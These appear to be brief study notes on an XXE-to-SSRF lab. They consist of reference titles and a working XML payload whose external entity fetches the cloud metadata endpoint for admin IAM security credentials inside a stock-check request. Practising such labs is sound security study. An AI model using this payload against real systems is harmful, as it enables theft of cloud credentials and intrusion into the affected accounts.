XML external entity (XXE) injection
XXE - XEE - XML External Entity | Hacktricks
Lab: Exploiting XXE to perform SSRF attacks
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"> ]>
<stockCheck>
<productId>
&xxe;
</productId>
<storeId>3</storeId>
</stockCheck>